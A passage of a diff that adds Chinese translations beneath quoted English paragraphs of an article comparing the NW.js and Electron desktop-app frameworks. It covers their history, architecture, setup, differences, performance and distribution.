-So, if you were to download an NW.js app, you would actually be downloading Chromium, plus Node.js, plus the actual app code. Not only does this mean a desktop app can be created using HTML, CSS and JavaScript, but the app would also have access to all of the Node.js APIs (to read and write to disk, for example), and the end user wouldn’t know any better. That’s pretty powerful, but how does it work? Well, first let’s take a look at Chromium.
+经过一段时间的开发以及将内核从 WebKit 转换到 Chromium（Google Chrome 基于这个开源项目开发），一个叫 Cheng Zhao 的实习生加入了这个项目。不久就有人意识到一个基于 Node.js 和 Chromium 运行的应用是一个很好的建造桌面应用的框架。于是这个项目变得很火。
+
+> *Note*: node-webkit was later renamed NW.js to make it a bit more generic because it no longer used Node.js or WebKit. Instead of Node.js, it was based on io.js (the Node.js fork) at the time, and Chromium had moved on from WebKit to its own fork, Blink.
+
+*注意*：node-webkit 后来更名为 NW.js，是因为项目不再使用 Node.js 以及 WebKit，所以需要改一个更通用的名字。Node.js 的替换选择是 io.js （Node.js fork 版本），Chromium 也已经从 WebKit 转为它自己的版本，Blink。
+
+> So, if you were to download an NW.js app, you would actually be downloading Chromium, plus Node.js, plus the actual app code. Not only does this mean a desktop app can be created using HTML, CSS and JavaScript, but the app would also have access to all of the Node.js APIs (to read and write to disk, for example), and the end user wouldn’t know any better. That’s pretty powerful, but how does it work? Well, first let’s take a look at Chromium.
+
+所以，如果现在去下载一个 NW.js 应用，实际上是下载了 Chromium，Node.js，以及真正的 app 的代码。这不仅意味着桌面应用也可以使用 HTML，CSS，JavaScript 来写，也意味着 app 可以直接使用所有 Node.js 的 API（读取或写入硬盘，比方说），而对于终端用户，没有比这更好的选择了。非常强大对吧，但是它是怎么实现的呢？我们先来了解一下 Chromium。
 
 ![Chromium diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-preview-opt.png)
 
-There is a main background process, and each tab gets its own process. You might have seen that Google Chrome always has at least two processes in Windows’ task manager or macOS’ activity monitor. I haven’t even attempted to arrange the contents of the main process here, but it contains the Blink rendering engine, the V8 JavaScript engine (which is what Node.js is built on, too, by the way) and some platform APIs that abstract native APIs. Each isolated tab or renderer process has access to the JavaScript engine, CSS parser and so on, but it is completely separate to the main process for fault tolerance. Renderer processes interact with the main process through interprocess communication (IPC).
+> There is a main background process, and each tab gets its own process. You might have seen that Google Chrome always has at least two processes in Windows’ task manager or macOS’ activity monitor. I haven’t even attempted to arrange the contents of the main process here, but it contains the Blink rendering engine, the V8 JavaScript engine (which is what Node.js is built on, too, by the way) and some platform APIs that abstract native APIs. Each isolated tab or renderer process has access to the JavaScript engine, CSS parser and so on, but it is completely separate to the main process for fault tolerance. Renderer processes interact with the main process through interprocess communication (IPC).
+
+Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试去整理主后台进程相关的内容，但是它包括了Blink 渲染引擎，V8 JavaScript 引擎（Node.js 也是基于此）以及一些从原生 API 抽象出来的平台 APIs。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎，CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之前是用进程间通信（interprocess communication, IPC）来进行通讯。
 
 ![NW.js diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-preview-opt.png)
 
-This is roughly what an NW.js app looks like. It’s basically the same, except that each window has access to Node.js now as well. So, you have access to the DOM and you can require other scripts, node modules you’ve installed from npm, or built-in modules provided by NW.js. By default, your app has one window, and from there you can spawn other windows.
 
-Creating an app is really easy. All you need is an HTML file and a `package.json`, like you would have when working with Node.js. You can create a default one by running `npm init --yes`. Typically, a `package.json` would point a JavaScript file as the “main” file for the module (i.e. using the `main` property), but with NW.js you need to edit the `main` property to point to your HTML file.
+
+> This is roughly what an NW.js app looks like. It’s basically the same, except that each window has access to Node.js now as well. So, you have access to the DOM and you can require other scripts, node modules you’ve installed from npm, or built-in modules provided by NW.js. By default, your app has one window, and from there you can spawn other windows.
+
+大致上这就是一个 NW.js app 的结构，它和 Chromium 基本一致，除了每个窗口也可以访问 Node.js。现在，你可以访问 DOM，可以访问其他脚本代码，npm 安装的包，或者 NW.js 中自带的包。你的 app 默认只有一个窗口，但从这一个窗口，可以延伸出其他窗口。
+
+> Creating an app is really easy. All you need is an HTML file and a `package.json`, like you would have when working with Node.js. You can create a default one by running `npm init --yes`. Typically, a `package.json` would point a JavaScript file as the “main” file for the module (i.e. using the `main` property), but with NW.js you need to edit the `main` property to point to your HTML file.
+
+创建一个应用很简单，只需要一个 HTML 文件和一个 `package.json` 文件，就像你平时使用 Node.js 时那样。你可以使用 `npm init --yes` 新建一个默认的。一般来说，`package.json` 会指定一个 JavaScript 文件作为模块的「主要」文件（也就是使用 `main` 属性），但是如果是 NW.js，你需要去编辑一下 `main` 指向你的 HTML 文件。
 
 ```
 {
@@ -80,25 +108,40 @@ Creating an app is really easy. All you need is an HTML file and a `package.json
 </html>
 ```
 
-Once you install the official `nw` package from npm (by running `npm install -g nw`), you can run `nw .` within the project directory to launch your app.
+> Once you install the official `nw` package from npm (by running `npm install -g nw`), you can run `nw .` within the project directory to launch your app.
+
+只要你安装好了 `nw`（通过 `npm install -g nw`），你就可以在项目目录下执行 `nw .` 启动 app，然后就可以看到下图。
 
 ![Example app screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsHelloWorld-preview-opt.png)
 
-It’s as easy as that. So, what happened here was that NW.js opened the initial window, loading your HTML file. I know this doesn’t look like much, but it’s up to you add some markup and styles, just like you would in a web app.
+> It’s as easy as that. So, what happened here was that NW.js opened the initial window, loading your HTML file. I know this doesn’t look like much, but it’s up to you add some markup and styles, just like you would in a web app.
 
-You could drop the window bar and chrome if you like, or create your own custom frame. You could have semi to fully transparent windows, hidden windows and more. I took this a bit further recently and [resurrected Clippy](http://engineroom.teamwork.com/resurrecting-clippy/) using NW.js. There’s something weirdly satisfying about seeing Clippy on macOS or Windows 10.
+就是这么简单，NW.js 初始了第一个窗口，加载了你的 HTML 文件，虽然这看起来并没有什么，但接下来就是你来添加标签及样式了，就和在 web 应用中一样。
+
+> You could drop the window bar and chrome if you like, or create your own custom frame. You could have semi to fully transparent windows, hidden windows and more. I took this a bit further recently and [resurrected Clippy](http://engineroom.teamwork.com/resurrecting-clippy/) using NW.js. There’s something weirdly satisfying about seeing Clippy on macOS or Windows 10.
+
+你可以凭自己喜好去掉窗口条，或者制作自己的框架。你可以有半透明或全透明的窗口，可以有隐藏窗口或者更多。我最近试了一下用 NW.js 复活了[回形针](http://engineroom.teamwork.com/resurrecting-clippy/) Office 助手（一般昵称 Clippy）。能看到它同时在 macOS 或者 Windows 10 中复活有种奇妙的满足感。
 
 ![Screenshot of clippy.desktop on macOS](https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-preview-opt.png)
 
-So, you get to write HTML, CSS and JavaScript. You can use Node.js to read and write to disk, execute system commands, spawn other executables and more. Hypothetically, you could build a multiplayer roulette game over WebRTC that deletes some of the users’ files randomly, if you wanted.
+> So, you get to write HTML, CSS and JavaScript. You can use Node.js to read and write to disk, execute system commands, spawn other executables and more. Hypothetically, you could build a multiplayer roulette game over WebRTC that deletes some of the users’ files randomly, if you wanted.
+
+现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读取或写入硬盘，执行系统命令，生成其他可执行文件等等。设想一下，你可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
 
 ![Bar graph showing the number of modules per major package manager](https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-preview-opt.png)
 
-You get access not only to Node.js’ APIs but to all of npm, which has over 350,000 modules now. For example, [auto-launch](https://github.com/Teamwork/node-auto-launch) is an open-source module we created at [Teamwork.com](https://www.teamwork.com/) to launch an NW.js or Electron app on startup.
+> You get access not only to Node.js’ APIs but to all of npm, which has over 350,000 modules now. For example, [auto-launch](https://github.com/Teamwork/node-auto-launch) is an open-source module we created at [Teamwork.com](https://www.teamwork.com/) to launch an NW.js or Electron app on startup.
 
-Node.js also has what’s known as “native modules,” which, if you really need to do something a bit lower level, allows you to create modules in C or C++.
+你不仅可以使用 Node.js 的 APIs，还有所有 npm 的包，现在已经有超过35万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。
 
-To top it all off, NW.js exposes APIs that effectively wrap native APIs, allowing you to integrate closely with the desktop environment. You can have a tray icon, open a file or URL in the default system application, and a lot lot more. All you need to do to trigger a notification is use the HTML5 notification API:
+> Node.js also has what’s known as “native modules,” which, if you really need to do something a bit lower level, allows you to create modules in C or C++.
+
+如果你需要做一些偏底层的事，Node.js 也有原生的模块，能让你使用 C 或者 C++创建模块。
+
+> To top it all off, NW.js exposes APIs that effectively wrap native APIs, allowing you to integrate closely with the desktop environment. You can have a tray icon, open a file or URL in the default system application, and a lot lot more. All you need to do to trigger a notification is use the HTML5 notification API:
+
+总之，NW.js 高效包装了原生的 APIs，让你可以简单的与桌面环境整合。
+比如你有一个托盘图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个 notification。
 
 ```
 new Notification('Hello', {
@@ -108,31 +151,51 @@ new Notification('Hello', {
 
 ### Electron
 
-You might recognize GitHub’s text editor, Atom, below. Whether you use it or not, Atom was a game-changer for desktop apps. GitHub started development of Atom in 2013, soon recruited Cheng Zhao, and forked node-webkit as its base, which it later open-sourced under the name atom-shell.
+> You might recognize GitHub’s text editor, Atom, below. Whether you use it or not, Atom was a game-changer for desktop apps. GitHub started development of Atom in 2013, soon recruited Cheng Zhao, and forked node-webkit as its base, which it later open-sourced under the name atom-shell.
+
+你可能认出来了，下图是 GitHub 开发的编辑器，Atom。不管你是否使用 Atom，它的出现对于桌面应用都是一个颠覆者。GitHub 从 2013 年开始开发 Atom，后来 Cheng Zhao 加入，fork 了 node-webkit 作为基础，后来开源名称为 atom-shell。
 
 ![Atom screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/atom-preview-opt.png)
 
-*Note*: It’s disputed whether Electron is a fork of node-webkit or whether everything was rewritten from scratch. Either way, it’s effectively a fork for the end user because the APIs were almost identical.
+> *Note*: It’s disputed whether Electron is a fork of node-webkit or whether everything was rewritten from scratch. Either way, it’s effectively a fork for the end user because the APIs were almost identical.
+
+*注意*：对于 Electron 只是 node-webkit 的 fork，还是一切从头重新做的，是很有争议的。但无论如何，对于终端用户是一个高效的 fork，因为 API 几乎一致。
+
+> In making Atom, GitHub improved on the formula and ironed out a lot of the bugs. In 2015, atom-shell was renamed Electron. Since then it has hit version 1.0, and with GitHub pushing it, it has really taken off.
 
-In making Atom, GitHub improved on the formula and ironed out a lot of the bugs. In 2015, atom-shell was renamed Electron. Since then it has hit version 1.0, and with GitHub pushing it, it has really taken off.
+在开发 Atom 的过程中，GitHub 改进了一些方案，也解决了很多 bug。2015年，atom-shell 正式更名为 Electron。它的版本已经更新到 1.0 以上（译注：最新正式版本为v1.3.14），并且因为 GitHub 的推行，已经得到很大的发展。
 
 ![Logos of projects that use Electron](https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-preview-opt.png)
 
-As well as Atom, other notable projects built with Electron include Slack, Visual Studio Code, Brave, HyperTerm and Nylas, which is really doing some cutting-edge stuff with it. Mozilla Tofino is an interesting one, too. It was an internal project at Mozilla (the company behind Firefox), with the aim of radically improving web browsers. Yeah, a team within Mozilla chose Electron (which is based on Chromium) for this experiment.
+> As well as Atom, other notable projects built with Electron include Slack, Visual Studio Code, Brave, HyperTerm and Nylas, which is really doing some cutting-edge stuff with it. Mozilla Tofino is an interesting one, too. It was an internal project at Mozilla (the company behind Firefox), with the aim of radically improving web browsers. Yeah, a team within Mozilla chose Electron (which is based on Chromium) for this experiment.
 
-### How Does It Differ?
+和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，都是在做着一些前沿的东西。Mozilla Tofino 也是其中一个很有趣的，它是 Mozilla （ FireFox 的公司）的一个内部项目，目标是彻底地优化浏览器。嗯哼，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。
 
-But how is it different from NW.js? First of all, Electron is less browser-oriented than NW.js. The entry point for an Electron app is a script that runs in the main process.
+> ### How Does It Differ?
+
+### 有什么不同呢？
+
+> But how is it different from NW.js? First of all, Electron is less browser-oriented than NW.js. The entry point for an Electron app is a script that runs in the main process.
+
+但是 Electron 和 NW.js 有什么不同？首先，Electron 没有 NW.js 那么面向浏览器，Electron app 的入口是一个在主进程中运行的脚本。
 
 ![Electron architecture diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronDiagram-preview-opt-1.png)
 
-The Electron team patched Chromium to allow for the embedding of multiple JavaScript engines that could run at the same time. So, when Chromium releases a new version, they don’t have to do anything.
+> The Electron team patched Chromium to allow for the embedding of multiple JavaScript engines that could run at the same time. So, when Chromium releases a new version, they don’t have to do anything.
+
+Electron 团队修补了 Chromium 使之可以嵌入多个同时运行的 JavaScript 引擎，所以当 Chromium 发布新版本的时候，他们不需要做任何事。
+
+> *Note*: NW.js hooks into Chromium a little differently, and this was often blamed on the fact NW.js wasn’t quite as good at keeping up with Chromium as Electron was. However, throughout 2016, NW.js has released a new version within 24 hours of each major Chromium release, which the team attributes to an organizational shift.
+
+*注意*：NW.js 与 Chromium 的绑定不太一样，造成了 NW.js 经常被指责不如 Electron 那样紧跟 Chromium。不管怎样，整个2016年，NW.js 每次在 Chromium 发布主要版本之后的24小时内发布新版本，这很大程度也归功于团队组织的转变。
+
+> Back to the main process. Your app hasn’t any window by default, but you can open as many windows as you’d like from the main process, each having its own renderer process, just like NW.js.
 
-*Note*: NW.js hooks into Chromium a little differently, and this was often blamed on the fact NW.js wasn’t quite as good at keeping up with Chromium as Electron was. However, throughout 2016, NW.js has released a new version within 24 hours of each major Chromium release, which the team attributes to an organizational shift.
+回到主进程的话题，你的应用默认是没有窗口的，但是你可以从主进程开启任意多个窗口，每个窗口和 NW.js 一样有自己的渲染进程。
 
-Back to the main process. Your app hasn’t any window by default, but you can open as many windows as you’d like from the main process, each having its own renderer process, just like NW.js.
+> So, yeah, the minimum you need for an Electron app is a main JavaScript file (which we’ll leave empty for now) and a `package.json` that points to it. Then, all you need to do is `npm install --save-dev electron` and run `electron .` to launch your app.
 
-So, yeah, the minimum you need for an Electron app is a main JavaScript file (which we’ll leave empty for now) and a `package.json` that points to it. Then, all you need to do is `npm install --save-dev electron` and run `electron .` to launch your app.
+那么，当然，创建一个 Electron app，你需要的只是一个 JavaScript 文件（现在暂时只是个空文件）以及一个 `package.json` 文件指向它。然后你只需要执行 `npm install --save-dev electron`，以及 `electron .` 来启动你的 app。
 
 ```
 {
@@ -151,9 +214,12 @@ So, yeah, the minimum you need for an Electron app is a main JavaScript file (wh
 
 ```
 // main.js, which is empty
+// main.js 文件，现在是空的
 ```
 
-Not much will happen, though, because your app hasn’t any window by default. You can open as many windows as you’d like from the main process, each having its own renderer process, just like they’d have in an NW.js app.
+> Not much will happen, though, because your app hasn’t any window by default. You can open as many windows as you’d like from the main process, each having its own renderer process, just like they’d have in an NW.js app.
+
+没有什么会发生，因为你的 app 没有默认窗口。接下来你可以和 NW.js 一样打开任意多个窗口，每个都有各自的渲染进程。
 
 ```
 // main.js
@@ -182,51 +248,85 @@ app.on('ready', () => {
 </html>
 ```
 
-You could load a remote URL in this window, but typically you’d create a local HTML file and load that. Ta-da!
+> You could load a remote URL in this window, but typically you’d create a local HTML file and load that. Ta-da!
+
+你可以在这个窗口中加载一个远程 URL，但是一般来说你会在本地创建 HTML 文件并加载它，好啦~加载出来啦！
 
 ![Screenshot of example Electron app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronHelloWorld-preview-opt.png)
 
-Of the built-in modules Electron provides, like the `app` or `BrowserWindow` module used in the previous example, most can only be used in either the main or a renderer process. For example, the main process is where, and only where, you can manage your windows, automatic updates and more. You might want a click of a button to trigger something in your main process, though, so Electron comes with built-in methods for IPC. You can basically emit arbitrary events and listen for them on the other side. In this case, you’d catch the `click` event in the renderer process, emit an event over IPC to the main process, catch it in the main process and finally perform the action.
+> Of the built-in modules Electron provides, like the `app` or `BrowserWindow` module used in the previous example, most can only be used in either the main or a renderer process. For example, the main process is where, and only where, you can manage your windows, automatic updates and more. You might want a click of a button to trigger something in your main process, though, so Electron comes with built-in methods for IPC. You can basically emit arbitrary events and listen for them on the other side. In this case, you’d catch the `click` event in the renderer process, emit an event over IPC to the main process, catch it in the main process and finally perform the action.
+
+在 Electron 提供的模块中，像在前面例子中使用的 `app` 和 `BrowserWindow`，大多只能在主进程或者某个渲染进程中使用。比方说，你只能在主进程中管理你的所有窗口，自动更新或者其他。你可能想在主进程中点击一个按钮触发一些事件，Electron 为 IPC 提供了一些内置方法。基本上你可以发出任意的事件，然后在另一端监听它们。这样，你就可以在某一个渲染进程中捕获 `click` 事件，通过 IPC 发出事件信息给主进程，主进程捕获后执行相关操作。
 
-OK, so Electron has distinct processes, and you have to organize your app slightly differently, but that’s not a big deal. Why are people using Electron instead of NW.js? Well, there’s mindshare. So many related tools and modules are out there as a result of its popularity. The documentation is better. Most importantly, it has fewer bugs and superior APIs.
+> OK, so Electron has distinct processes, and you have to organize your app slightly differently, but that’s not a big deal. Why are people using Electron instead of NW.js? Well, there’s mindshare. So many related tools and modules are out there as a result of its popularity. The documentation is better. Most importantly, it has fewer bugs and superior APIs.
 
-Electron’s documentation really is amazing, though — that’s worth emphasizing. Take the [Electron API Demos app](https://github.com/electron/electron-api-demos). It’s an Electron app that interactively demonstrates what you can do with Electron’s APIs. Not only is the API described and sample code provided for creating a new window, for example, but clicking a button will actually execute the code and a new window will open.
+Electron 有着不同的进程，你需要稍微不同地组织你的 app，但这不算什么。为什么使用 ELectron 而不是 NW.js？这是个影响力的问题，有很多相关的工具和模块是它流行起来的结果。文档更好懂，最重要的是，Electron 的 bug 更少，并且有更好的 API。
+
+>Electron’s documentation really is amazing, though — that’s worth emphasizing. Take the [Electron API Demos app](https://github.com/electron/electron-api-demos). It’s an Electron app that interactively demonstrates what you can do with Electron’s APIs. Not only is the API described and sample code provided for creating a new window, for example, but clicking a button will actually execute the code and a new window will open.
+
+Electron 的文档非常棒，这值得再强调一下。拿 [Electron API Demos app](https://github.com/electron/electron-api-demos) 来说，这是个 Electron app，它可以交互式的演示出你可通过 Electron 的 API 做到什么。比如新建窗口，它不仅提供了 API 的描述以及示例代码，甚至点击按钮的确可以执行代码并打开新的窗口。（下图就是 Electron API Demos app 的截图）
 
 ![A screenshot of the Electron API Demos app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/apiDemosApp-preview-opt.png)
 
-If you submit an issue via Electron’s bug tracker, you’ll get a response within a couple of days. I’ve seen three-year-old NW.js bugs, although I don’t hold it against them. It’s tough when an open-source project is written in languages drastically different from the languages known by its users. NW.js and Electron are written mostly in C++ (and a tiny bit of Objective C++) but used by people who write JavaScript. I’m extremely grateful for what NW.js has given us.
+> If you submit an issue via Electron’s bug tracker, you’ll get a response within a couple of days. I’ve seen three-year-old NW.js bugs, although I don’t hold it against them. It’s tough when an open-source project is written in languages drastically different from the languages known by its users. NW.js and Electron are written mostly in C++ (and a tiny bit of Objective C++) but used by people who write JavaScript. I’m extremely grateful for what NW.js has given us.
+
+如果你给 Electron 提出 issue 说有 bug，你可以在几天之内得到回复。我曾经见过 NW.js 有经过三年都未修复的 bug。我并不是坚决反对他们这么做，开发开源项目的语言和使用这个项目的开发者了解的语言如此的不同，是非常难维护的。NW.js 和 Electron 主要是用 C++ （以及少部分 Objective C++）写的，但是使用这两个项目的人写的是 JavaScript。我非常干净 NW.js 给我的帮助。
 
-Electron ironed out a few of the flaws in the NW.js APIs. For example, you can bind global keyboard shortcuts, which would be caught even if your app isn’t focused. An example API flaw I ran into was that binding to `Control + Shift + A` in an NW.js app did what you would expect on Windows, but actually bound to `Command + Shift + A` on a Mac. This was intentional but really weird. There was no way to bind to the `Control` key. Also, binding to the `Command` key did bind to the `Command` key but the `Windows` key on Windows and Linux as well. The Electron team spotted these problems (when adding shortcuts to Atom I assume) and quickly updated their globalShortcut API so both of these cases work as you’d expect. To be fair, NW.js has since fixed the former but not the latter.
+> Electron ironed out a few of the flaws in the NW.js APIs. For example, you can bind global keyboard shortcuts, which would be caught even if your app isn’t focused. An example API flaw I ran into was that binding to `Control + Shift + A` in an NW.js app did what you would expect on Windows, but actually bound to `Command + Shift + A` on a Mac. This was intentional but really weird. There was no way to bind to the `Control` key. Also, binding to the `Command` key did bind to the `Command` key but the `Windows` key on Windows and Linux as well. The Electron team spotted these problems (when adding shortcuts to Atom I assume) and quickly updated their globalShortcut API so both of these cases work as you’d expect. To be fair, NW.js has since fixed the former but not the latter.
 
-There are a few other differences. For instance, in recent NW.js versions, notifications that were previously native are now Chrome-style ones. These don’t go into the notification centre on Mac OS X or Windows 10, but there are modules on npm that you could use as a workaround if you’d like. If you want to do something interesting with audio or video, use Electron, because some codecs don’t work out of the box with NW.js.
+Electron 弥补了 NW.js API 上的一些不足。比如，你可以绑定全局的键盘快捷键，这样即使你的 app 并没有获取焦点，键盘事件也可以被捕获。曾经我再 NW.js 的应用中碰到过一个 API 的漏洞，就是我在 Windows 上可以绑定 `Control + Shift + A` 快捷键达到预期目的，但是实际上到了 Mac 上绑定的快捷键是 `Command + Shift + A`，这个的确是有意而为之的，但是仍然很奇怪。没有任何方法可以在 Mac 上绑定 `Control` 键。另外，如果想绑定 `Command` 键，在 Mac 上的确没问题，而到了 Windows 和 Linux 上绑定的却是 `Windows` 键。Electron 的团队发现了这些问题（我猜是在给 Atom 添加快捷键的时候），然后他们很快更新了他们自己的全局快捷键（globalShortcut）API，以上遇到的情况就可以正常工作了。公平起见，NW.js 修复了前一个问题，但一直没有修复后一个。
 
-Electron has added a few new APIs as well, more desktop integration, and it has built-in support for automatic updates, but I’ll cover that later.
+> There are a few other differences. For instance, in recent NW.js versions, notifications that were previously native are now Chrome-style ones. These don’t go into the notification centre on Mac OS X or Windows 10, but there are modules on npm that you could use as a workaround if you’d like. If you want to do something interesting with audio or video, use Electron, because some codecs don’t work out of the box with NW.js.
 
-### But How Does It Feel?
+还有其他很多不同的地方。再比如说，最近的 NW.js 版本中，之前是原生的 notification 通知，现在变成了 Chrome 风格的了。这种通知不会进入到 Mac OS X 或者 Windows 10 的通知中心里面，更是一个 npm 上的一个你可以方便使用的模块。如果你想做一些有趣的有关音频或视频的事，建议使用 Electron，因为有些解码器在 NW.js 中无法起作用。
 
-It feels fine. Sure, it’s not native. Most desktop apps these days don’t look like Windows Explorer or Finder anyway, so users won’t mind or realize that HTML is behind your user interface. You can make it feel more native if you’d like, but I’m not convinced it will make the experience any better. For example, you could prevent the cursor from turning to a hand when the user hovers over a button. That’s how a native desktop app would act, but is that better? There are also projects out there like [Photon Kit](http://photonkit.com/), which is basically a CSS framework like Bootstrap, but for macOS-style components.
+> Electron has added a few new APIs as well, more desktop integration, and it has built-in support for automatic updates, but I’ll cover that later.
+
+Electron 还添加了一些新的 API，更加多与桌面端的结合，并且内置了自动升级，我稍后会谈到。
+
+### But How Does It Feel? 但是感觉如何呢？
+
+> It feels fine. Sure, it’s not native. Most desktop apps these days don’t look like Windows Explorer or Finder anyway, so users won’t mind or realize that HTML is behind your user interface. You can make it feel more native if you’d like, but I’m not convinced it will make the experience any better. For example, you could prevent the cursor from turning to a hand when the user hovers over a button. That’s how a native desktop app would act, but is that better? There are also projects out there like [Photon Kit](http://photonkit.com/), which is basically a CSS framework like Bootstrap, but for macOS-style components.
+
+感觉很好，当然，它并不是原生的。现在大多数桌面应用并不会长得像资源管理器或者 Finder，所以用户并不介意或者意识到界面背后是 HTML。你愿意的话，你可以使之更像原生应用，但是我并不认为那样会让用户体验更加。比如，你可以在用户滑过按钮时不让鼠标变成手，一般原生的桌面应用都是这样做的，但是这样做有什么好的吗？当然也有像 [Photon Kit](http://photonkit.com/) 这样的类似 Bootstrap 的 CSS 框架，可以做出 macOS 风格的组件。（下图是 Photon Kit 做出的组件 demo）
 
 ![Photon app example screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/photon-preview-opt.png)
 
-### Performance
+### Performance 性能
+
+> What about performance? Is it slow or laggy? Well, your app is essentially a web app. It’ll perform pretty much like a web app in Google Chrome. You can create a performant app or a sluggish one, but that’s fine because you already have the skills to analyze and improve performance. One of the best things about your app being based on Chromium is that you get its DevTools. You can debug within the app or remotely, and the Electron team has even created a DevTools extension named [Devtron](http://electron.atom.io/devtron/) to monitor some Electron-specific stuff.
+
+性能表现如何呢？会很慢或者延迟吗？其实你的 app 本质上来说仍然是 web 应用，所以它会和在 Google Chrome 中运行的 web app 非常类似。你可能会创造出高性能的或者反应迟缓的 app，但是没关系，你已经有分析并提升性能的技能了。app 基于 Chromium 最好的其中一点就是你可以使用它的开发者工具。你可以在 app 内调试或者远程调试，Electron 团队也开发了一款开发者工具的插件叫 [Devtron](http://electron.atom.io/devtron/) 来监控一些 Electron 特定的信息。
+
+> Your desktop app can be more performant than a web app, though. One thing you could do is create a worker window, a hidden window that you use to perform any expensive work. Because it’s an isolated process, any computation or processing going on in that window won’t affect rendering, scrolling or anything else in your visible window(s).
+
+你的桌面应用应该比 web 应用的性能更高。因为你可以创建一个 worker 窗口，这是一个隐藏的窗口，专门用来做一些复杂耗能的事。因为每个进程都是隔离的，所以任何在这个窗口中进行的计算或者处理不会影响到其他可见窗口的渲染进程，上下滚动等等。
+
+> Keep in mind that you can always spawn system commands, spawn executables or drop down to native code if you really need to (you won’t).
+
+记住你总可以生成系统指令、可执行文件，或者原生代码，如果真的需要的话（你不会真的这么做的）。
+
+### Distribution 分发
+
+> Both NW.js and Electron support a wide array of platforms, including Windows, Mac and Linux. Electron doesn’t support Windows XP or Vista; NW.js does. Getting an NW.js app into the Mac App Store is a bit tricky; you’ll have to jump through a few hoops. Electron, on the other hand, comes with Mac App Store-compatible builds, which are just like the normal builds except that you don’t have access to some modules, such as the auto-updater module (which is fine because your app will update via the Mac App Store anyway).
 
-What about performance? Is it slow or laggy? Well, your app is essentially a web app. It’ll perform pretty much like a web app in Google Chrome. You can create a performant app or a sluggish one, but that’s fine because you already have the skills to analyze and improve performance. One of the best things about your app being based on Chromium is that you get its DevTools. You can debug within the app or remotely, and the Electron team has even created a DevTools extension named [Devtron](http://electron.atom.io/devtron/) to monitor some Electron-specific stuff.
+NW.js 和 Electron 都支持很多平台，包括 Windows，Mac 和 Linux。Electron 不支持 Windows XP 和 Vista，但 NW.js 支持。将 NW.js 应用上线到 Mac 的应用市场有些棘手，你必须绕几个弯子。而 Electron 支持直接的 Mac App Strore 兼容的版本，和普通的 app 一样，除非某些模块你并没有权限比如自动更新（因为你的 app 会通过 Mac App Store 更新所以可以接受）。
 
-Your desktop app can be more performant than a web app, though. One thing you could do is create a worker window, a hidden window that you use to perform any expensive work. Because it’s an isolated process, any computation or processing going on in that window won’t affect rendering, scrolling or anything else in your visible window(s).
+> Electron even supports ARM builds, so your app can run on a Chromebook or Raspberry Pi. Finally, Google may be [phasing out Chrome Packaged Apps](http://blog.chromium.org/2016/08/from-chrome-apps-to-web.html), but NW.js allows you to port an app over to an NW.js app and still have access the same Chromium APIs.
 
-Keep in mind that you can always spawn system commands, spawn executables or drop down to native code if you really need to (you won’t).
+Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者树莓派上运行，最终，Google 会[逐步淘汰 Chrome 封装应用 （Packaged App）](https://blog.chromium.org/2016/08/from-chrome-apps-to-web.html)，但是 NW.js 仍然支持将应用程序移植到 NW.js 应用，并且仍然可以访问相同的 Chromium API。
 
-### Distribution
+> Even though 32-bit and 64-bit builds are supported, you’ll get away with 64-bit Mac and Windows apps. You will need 32-bit and 64-bit Linux apps, though, for compatibility.
 
-Both NW.js and Electron support a wide array of platforms, including Windows, Mac and Linux. Electron doesn’t support Windows XP or Vista; NW.js does. Getting an NW.js app into the Mac App Store is a bit tricky; you’ll have to jump through a few hoops. Electron, on the other hand, comes with Mac App Store-compatible builds, which are just like the normal builds except that you don’t have access to some modules, such as the auto-updater module (which is fine because your app will update via the Mac App Store anyway).
+虽然 32 位和 64 位的版本都支持，你也可以使用 64 位的 Mac 和 Windows 应用。但是，为了兼容，32 位和 64 位 Linux 应用程序是都需要的。
 
-Electron even supports ARM builds, so your app can run on a Chromebook or Raspberry Pi. Finally, Google may be [phasing out Chrome Packaged Apps](http://blog.chromium.org/2016/08/from-chrome-apps-to-web.html), but NW.js allows you to port an app over to an NW.js app and still have access the same Chromium APIs.
+> So, let’s say that Electron has won over and you want to ship an Electron app. There’s a nice Node.js module named [electron-packager](https://github.com/electron-userland/electron-packager) that helps with packing your app up into an `.app` or `.exe` file. A few similar projects exist, including interactive ones that prompt you step by step. You should use [electron-builder](https://github.com/electron-userland/electron-builder), though, which builds on top of electron-packager, plus a few other related modules. It generates `.dmg`s and Windows installers and takes care of the code-signing of your app for you. This is really important. Without it, your app would be labelled as untrusted by operating systems, your app could trigger anti-virus software, and Microsoft SmartScreen might try to block the user from launching your app.
 
-Even though 32-bit and 64-bit builds are supported, you’ll get away with 64-bit Mac and Windows apps. You will need 32-bit and 64-bit Linux apps, though, for compatibility.
